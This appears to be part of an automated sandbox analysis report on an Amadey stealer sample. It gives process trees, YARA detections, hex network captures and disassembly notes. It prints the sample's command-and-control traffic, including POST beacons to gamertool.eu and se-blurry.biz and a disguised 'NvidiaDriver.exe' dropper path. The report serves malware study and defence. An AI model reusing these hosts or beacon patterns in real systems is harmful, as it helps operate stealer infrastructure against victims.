2024-12-08 17:06:47 UTC	1369	IN	Data Raw: e8 35 f8 ff ff e9 14 10 00 00 89 f8 ba 7d 82 48 00 e8 72 f4 ff ff 8b 4e 0c ba 11 00 00 00 89 f8 e8 15 f8 ff ff e9 f4 0f 00 00 8b 49 10 8b 56 0c 89 f8 e8 0e f4 ff ff e9 e2 0f 00 00 8b 8f 14 01 00 00 85 c9 0f 84 3f 01 00 00 83 79 08 00 75 2b 8b 41 04 8b 00 8d 50 e7 83 fa 02 0f 87 2c 01 00 00 39 44 24 18 75 14 8b 4e 0c ba 11 00 00 00 89 f8 e8 c4 f7 ff ff e9 a3 0f 00 00 8b 09 eb c3 83 bf 20 01 00 00 00 8b 59 0c 0f 85 e5 00 00 00 31 c9 83 3b 05 89 4c 24 1c 0f 85 d6 00 00 00 8b 87 34 01 00 00 31 d2 39 c2 7d 4a 8b 8f 30 01 00 00 8d 0c d1 3b 19 74 03 42 eb ec 8d 44 24 20 8b 10 39 d3 74 6b 39 d6 75 08 8d 54 24 20 39 d0 75 5f 8b 40 04 85 c0 75 e7 8b 87 10 01 00 00 c7 44 24 1c 01 00 00 00 89 44 24 14 8b 41 04 89 87 10 01 00 00 eb 41 3b 87 38 01 00 00 0f 8d 33 0f 00 Data Ascii: 5}HrNIV?yu+AP,9D$uN Y1;L$419}J0;tBD$ 9tk9uT$ 9u_@uD$D$AA;83
2024-12-08 17:06:47 UTC	1369	IN	Data Raw: c1 0a 00 00 89 f8 ba a1 82 48 00 e8 1f ef ff ff 8b 87 48 01 00 00 8b 4e 0c 85 c0 74 18 8b 97 10 01 00 00 89 44 24 34 89 54 24 30 8d 54 24 30 89 97 10 01 00 00 ba 11 00 00 00 89 f8 e8 a0 f2 ff ff 83 bf 48 01 00 00 00 0f 84 77 0a 00 00 8b 44 24 30 89 87 10 01 00 00 e9 68 0a 00 00 8b 49 0c ba 11 00 00 00 89 f8 e8 25 0f 00 00 e9 54 0a 00 00 8b 41 0c 8b 59 10 89 44 24 18 8b 00 83 f8 33 0f 85 f9 00 00 00 8b 44 24 18 8b 40 0c 8b 00 c7 44 24 04 ab 82 48 00 89 04 24 89 44 24 1c e8 a9 b2 00 00 89 c2 8b 03 85 d2 75 19 83 f8 03 75 14 8b 43 0c 83 38 01 75 35 8b 53 10 83 3a 2a 75 2d 89 c3 eb 29 83 f8 3a 75 24 8b 4b 0c 89 f8 ba 11 00 00 00 e8 d6 0e 00 00 8b 4c 24 18 ba 11 00 00 00 89 f8 e8 a9 0e 00 00 e9 d8 09 00 00 8b 44 24 1c c7 44 24 04 ae 82 48 00 89 04 24 e8 4b b2 Data Ascii: HHNtD$4T$0T$0HwD$0hI%TAYD$3D$@D$H$D$uuC8u5S:*u-):u$KL$D$D$H$K

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.4	49884	104.21.9.168	443	6940	C:\Users\user\AppData\Local\Temp\NvidiaDriver\NvidiaDriver.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-08 17:06:51 UTC	144	OUT	POST /get_update.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: gamertool.eu Content-Length: 19 Expect: 100-continue
2024-12-08 17:06:51 UTC	19	OUT	Data Raw: 63 75 72 72 65 6e 74 5f 76 65 72 73 69 6f 6e 3d 30 2e 39 Data Ascii: current_version=0.9
2024-12-08 17:06:51 UTC	25	IN	HTTP/1.1 100 Continue
2024-12-08 17:06:52 UTC	846	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 17:06:52 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding X-Content-Type-Options: nosniff CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=oS3NCRnIRIUdJCjShfeyq%2FJ96RWk5%2FTmmqJRgaklPK7Jo8XG9lW%2ByKiNMHETWwp3PCDx16QuJhOGnXZdf9LCX1zM5vjDkZ6Zpe2yNc59Yg4Gv8Iu2UMN0vNWfmTbYLc%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8eee5931edc5424f-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=4267&min_rtt=2120&rtt_var=4886&sent=7&recv=10&lost=0&retrans=0&sent_bytes=3325&recv_bytes=823&delivery_rate=1377358&cwnd=234&unsent_bytes=0&cid=a6a029cd6a05efe7&ts=990&x=0" 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.4	49886	104.21.81.153	443	7216	C:\Users\user\AppData\Local\Temp\NvidiaDriver\184f72cd859c47b29124ab7c76766326.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-08 17:06:52 UTC	260	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: se-blurry.biz
2024-12-08 17:06:52 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-12-08 17:06:53 UTC	1009	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 17:06:53 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=qhf4n22o8bsa270vckbqd10snr; expires=Thu, 03-Apr-2025 10:53:32 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=RUjg%2FUiVNoFm2GG%2FTtPMLVYDIWnVD9WZOX%2B8YvWLlWLZ68UQtKnoX3BuTAiJPNQJAcwLnKLsqT7bw1LH82SIr%2Bdf6ypylsE0h4OJIcNq71JpuE6e5TYcM3yEpAsmD%2Bxn"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8eee5938da1d425b-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1674&min_rtt=1607&rtt_var=650&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2831&recv_bytes=904&delivery_rate=1817050&cwnd=236&unsent_bytes=0&cid=9d01475f83431b22&ts=747&x=0"
2024-12-08 17:06:53 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-12-08 17:06:53 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Target ID:	0
Start time:	12:04:54
Start date:	08/12/2024
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\file.exe"
Imagebase:	0x490000
File size:	3'296'768 bytes
MD5 hash:	41F7104E635F418EC5A33D817B5324D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000000.00000002.1693695905.0000000000491000.00000040.00000001.01000000.00000003.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	12:04:57
Start date:	08/12/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Imagebase:	0xac0000
File size:	3'296'768 bytes
MD5 hash:	41F7104E635F418EC5A33D817B5324D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000001.00000002.1724017680.0000000000AC1000.00000040.00000001.01000000.00000007.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	12:04:57
Start date:	08/12/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Imagebase:	0xac0000
File size:	3'296'768 bytes
MD5 hash:	41F7104E635F418EC5A33D817B5324D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000002.00000002.1728325404.0000000000AC1000.00000040.00000001.01000000.00000007.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	12:06:00
Start date:	08/12/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Imagebase:	0xac0000
File size:	3'296'768 bytes
MD5 hash:	41F7104E635F418EC5A33D817B5324D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000006.00000002.2883431001.0000000000AC1000.00000040.00000001.01000000.00000007.sdmp, Author: Joe Security
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	7
Start time:	12:06:12
Start date:	08/12/2024
Path:	C:\Users\user\AppData\Local\Temp\1013229001\0tClIDb.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1013229001\0tClIDb.exe"
Imagebase:	0xdd0000
File size:	1'892'352 bytes
MD5 hash:	6367FB8A64F997BE8D65536534BDD057
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	12:06:37
Start date:	08/12/2024
Path:	C:\Users\user\AppData\Local\Temp\9DNEMG3H6COYF8VY.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\9DNEMG3H6COYF8VY.exe"
Imagebase:	0x720000
File size:	25'600 bytes
MD5 hash:	3A14DCD85C597F6B51F3B5687D1043FA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 78%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	12:06:38
Start date:	08/12/2024
Path:	C:\Users\user\AppData\Local\Temp\NvidiaDriver\NvidiaDriver.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\NvidiaDriver\NvidiaDriver.exe"
Imagebase:	0x560000
File size:	25'600 bytes
MD5 hash:	3A14DCD85C597F6B51F3B5687D1043FA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 78%, ReversingLabs
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	11
Start time:	12:06:39
Start date:	08/12/2024
Path:	C:\Users\user\AppData\Local\Temp\NvidiaDriver\InternetDriver.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\NvidiaDriver\InternetDriver.exe" --vision
Imagebase:	0x1a0000
File size:	25'600 bytes
MD5 hash:	3A14DCD85C597F6B51F3B5687D1043FA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 78%, ReversingLabs
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	12
Start time:	12:06:48
Start date:	08/12/2024
Path:	C:\Users\user\AppData\Local\Temp\NvidiaDriver\NvidiaDriver.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\NvidiaDriver\NvidiaDriver.exe" --vision
Imagebase:	0x590000
File size:	25'600 bytes
MD5 hash:	3A14DCD85C597F6B51F3B5687D1043FA
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	13
Start time:	12:06:49
Start date:	08/12/2024
Path:	C:\Users\user\AppData\Local\Temp\NvidiaDriver\184f72cd859c47b29124ab7c76766326.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\NvidiaDriver\184f72cd859c47b29124ab7c76766326.exe"
Imagebase:	0x3d0000
File size:	1'461'248 bytes
MD5 hash:	7CB559130BBD743D4CDB0891749C5643
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Joe Sandbox ML Detection: 33%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	12:06:49
Start date:	08/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	15
Start time:	12:06:56
Start date:	08/12/2024
Path:	C:\Users\user\AppData\Local\Temp\NvidiaDriver\NvidiaDriver.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\NvidiaDriver\NvidiaDriver.exe" --vision
Imagebase:	0x390000
File size:	25'600 bytes
MD5 hash:	3A14DCD85C597F6B51F3B5687D1043FA
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

Execution Graph

Execution Coverage:	3.2%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	4.1%
Total number of Nodes:	763
Total number of Limit Nodes:	13

Executed Functions

Function 004C652B Relevance: 1.5, APIs: 1, Instructions: 24COMMONLIBRARYCODE

Download Yara Rule

APIs

ExitProcess.KERNEL32(?,?,004C652A,?,?,?,?,?,004C7661), ref: 004C6566

Memory Dump Source

Source File: 00000000.00000002.1693695905.0000000000491000.00000040.00000001.01000000.00000003.sdmp, Offset: 00490000, based on PE: true

Associated: 00000000.00000002.1693562113.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1693695905.00000000004F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1694324251.00000000004F9000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1694367536.00000000004FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1694411712.0000000000505000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1694428980.0000000000506000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1694445434.0000000000507000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1694654030.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695074453.000000000066B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695092498.0000000000680000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695092498.000000000068E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695124931.0000000000693000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695139408.0000000000694000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695153961.0000000000696000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695168343.0000000000697000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695200717.0000000000698000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695213601.0000000000699000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695232057.00000000006B4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695247078.00000000006B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695262924.00000000006C1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695281765.00000000006D4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695300594.00000000006EC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695315547.00000000006F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695329478.00000000006F2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695343794.00000000006F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695359304.00000000006FE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695373645.0000000000704000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695388666.0000000000705000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695402775.0000000000707000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695421233.000000000071F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695436344.0000000000723000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695449969.0000000000724000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695465729.0000000000727000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695479810.0000000000728000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695494583.0000000000730000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695511240.0000000000741000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695526129.0000000000742000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695542046.000000000074D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695556203.000000000074E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695556203.000000000076B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695597549.000000000079D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695612933.000000000079E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695627779.000000000079F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695642712.00000000007A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695657164.00000000007A7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695672860.00000000007B4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695687359.00000000007B5000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_490000_file.jbxd

Yara matches

Similarity

API ID: ExitProcess
String ID:
API String ID: 621844428-0
Opcode ID: b98aa52fe992efb4ae1b85c106701e81461762bf75ee60a125626ce6178adfd8
Instruction ID: 1d55aaa74cbbe7c2ce04a091ddb066aaab337ce89a98414ec5332d79a72680dc
Opcode Fuzzy Hash: b98aa52fe992efb4ae1b85c106701e81461762bf75ee60a125626ce6178adfd8
Instruction Fuzzy Hash: 7FE08C38042148BBDF65BB18D909E893B6AEB51789F11881AF8154A225CB39EE82C694

Function 04AA0C3B Relevance: .1, Instructions: 58COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1697150509.0000000004AA0000.00000040.00001000.00020000.00000000.sdmp, Offset: 04AA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4aa0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5a00c344413300bb684d3e43ddc72928254ad90e23648e53fc9a8449174e10fb
Instruction ID: 21a9eebf0406c6eaa2e102cf5cee103f2f88c3e45c3d0aacbb5b306f516fad7b
Opcode Fuzzy Hash: 5a00c344413300bb684d3e43ddc72928254ad90e23648e53fc9a8449174e10fb
Instruction Fuzzy Hash: 0501F97B20F155EDDA431EA84BA15FA7F3AFA167303304517E00B8BA42F75176B17251

Function 00495C10 Relevance: 12.7, APIs: 2, Strings: 5, Instructions: 434
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

00000422, xrefs: 004960C9
00000423, xrefs: 004960FA
00000419, xrefs: 00496098
Keyboard Layout\Preload, xrefs: 00496054
0000043f, xrefs: 0049612B

Memory Dump Source

Source File: 00000000.00000002.1693695905.0000000000491000.00000040.00000001.01000000.00000003.sdmp, Offset: 00490000, based on PE: true

Associated: 00000000.00000002.1693562113.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1693695905.00000000004F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1694324251.00000000004F9000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1694367536.00000000004FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1694411712.0000000000505000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1694428980.0000000000506000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1694445434.0000000000507000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1694654030.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695074453.000000000066B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695092498.0000000000680000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695092498.000000000068E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695124931.0000000000693000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695139408.0000000000694000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695153961.0000000000696000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695168343.0000000000697000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695200717.0000000000698000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695213601.0000000000699000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695232057.00000000006B4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695247078.00000000006B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695262924.00000000006C1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695281765.00000000006D4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695300594.00000000006EC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695315547.00000000006F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695329478.00000000006F2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695343794.00000000006F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695359304.00000000006FE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695373645.0000000000704000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695388666.0000000000705000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695402775.0000000000707000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695421233.000000000071F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695436344.0000000000723000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695449969.0000000000724000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695465729.0000000000727000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695479810.0000000000728000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695494583.0000000000730000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695511240.0000000000741000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695526129.0000000000742000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695542046.000000000074D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695556203.000000000074E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695556203.000000000076B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695597549.000000000079D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695612933.000000000079E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695627779.000000000079F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695642712.00000000007A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695657164.00000000007A7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695672860.00000000007B4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695687359.00000000007B5000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_490000_file.jbxd

Yara matches

Similarity

API ID:
String ID: 00000419$00000422$00000423$0000043f$Keyboard Layout\Preload
API String ID: 0-3963862150
Opcode ID: 68643f6aa8f757d869414b3ae24c6a8496c6a361b7cf59b562c8298b0d11af1b
Instruction ID: 422f3a35a12535deb14808ee2aadb83be54e707cde0ec50a2e3b6353bba58f47
Opcode Fuzzy Hash: 68643f6aa8f757d869414b3ae24c6a8496c6a361b7cf59b562c8298b0d11af1b
Instruction Fuzzy Hash: 65F1C270900258AFEF24DF54CD85BDEBBB9EB45304F5041AEF509A7281DB789A84CF98

Function 00499BA5 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 140
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000064), ref: 0049A963
CreateMutexA.KERNEL32(00000000,00000000,004F3254), ref: 0049A981

Strings

T2O, xrefs: 0049A970

Memory Dump Source

Source File: 00000000.00000002.1693695905.0000000000491000.00000040.00000001.01000000.00000003.sdmp, Offset: 00490000, based on PE: true

Associated: 00000000.00000002.1693562113.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1693695905.00000000004F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1694324251.00000000004F9000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1694367536.00000000004FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1694411712.0000000000505000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1694428980.0000000000506000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1694445434.0000000000507000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1694654030.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695074453.000000000066B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695092498.0000000000680000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695092498.000000000068E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695124931.0000000000693000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695139408.0000000000694000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695153961.0000000000696000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695168343.0000000000697000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695200717.0000000000698000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695213601.0000000000699000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695232057.00000000006B4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695247078.00000000006B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695262924.00000000006C1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695281765.00000000006D4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695300594.00000000006EC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695315547.00000000006F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695329478.00000000006F2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695343794.00000000006F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695359304.00000000006FE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695373645.0000000000704000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695388666.0000000000705000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695402775.0000000000707000.00000040.00000001.01000000.00000003.sdmpDownload File
